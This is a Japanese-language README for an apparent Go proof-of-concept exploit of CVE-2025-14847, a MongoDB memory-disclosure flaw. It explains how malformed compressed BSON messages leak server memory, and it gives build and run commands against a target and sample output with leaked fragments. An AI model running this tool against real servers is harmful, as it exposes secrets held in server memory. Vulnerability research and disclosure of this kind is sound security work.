
CVE-2025-14847 (MongoBleed) のためのGo製概念実証エクスプロイト。MongoDBのメモリ開示脆弱性です。不正な形式のBSONドキュメントを作成し、エラーメッセージを介してサーバーの未初期化メモリを漏洩させます。
このリポジトリは、CVE-2025-14847 に対するGoによる概念実証エクスプロイトを含んでいます。これは一般に Mongobleed として知られるMongoDBのメモリ開示脆弱性です。
このPoCは、Joe Desimone による元のPythonエクスプロイトをGoで再実装したものです。こちらから入手できます:
https://github.com/joe-desimone/mongobleed
このエクスプロイトは、zlibの解凍とBSON解析の欠陥を悪用して、脆弱なMongoDBサーバーから未初期化メモリを漏洩させます。
ブログ記事を読む - https://saereya.github.io/posts/mongobleed-cve-2025-14847/
CVE-2025-14847 は、MongoDBにおける圧縮された OP_MSG メッセージの不適切な処理が原因です。ドキュメント長を水増しした不正なBSONドキュメントを作成し、それを OP_COMPRESSED メッセージでラップすることで、サーバーは解凍されたバッファの境界を超えて読み取る可能性があります。
これにより、MongoDBは残存メモリをBSONフィールド名として解釈し、それがエラーメッセージに反映されます。さまざまなオフセットでこのプロセスを繰り返すことで、サーバーメモリの断片を漏洩させることができます。
このPoCは:
OP_COMPRESSED MongoDBワイヤプロトコルメッセージでラップ漏洩データは、以下のようなエラー文字列から抽出されます:
field name '...'type <n>この脆弱性は、公式パッチが適用される前の特定のMongoDBバージョンに影響します。
正確なバージョン範囲については、MongoDBのセキュリティアドバイザリを参照してください。
ビルド:
go build -o mongobleed
実行:
./mongobleed --host <target> --port 27017
オプションフラグ: --min-offset: BSONドキュメント長の開始値 (デフォルト: 20) --max-offset: BSONドキュメント長の終了値 (デフォルト: 8192)
[*] MongoBleed - CVE-2025-14847
[*] Targetting localhost:27017
[*] Offset: 20 -> 8192
[+] offset= 117 len= 51: ssions^\u0001f\bD\\��A6�;7\u0003��V%\u0019\u001a9ip
[+] offset= 119 len= 51: ssions^\u0001f\bD\\��A6�;7\u0003��V%\u0019\u001a9ip
[+] offset= 120 len= 51: ssions^\u0001f\bD\\��A6�;7\u0003��V%\u0019\u001a9ip
[+] offset= 121 len= 51: ssions^\u0001f\bD\\��A6�;7\u0003��V%\u0019\u001a9ip
このコードは教育および研究目的のみで提供されています。
所有していない、または明示的なテスト許可がないシステムに対してこのツールを実行しないでください。 無許可の使用は違法かつ非倫理的である可能性があります。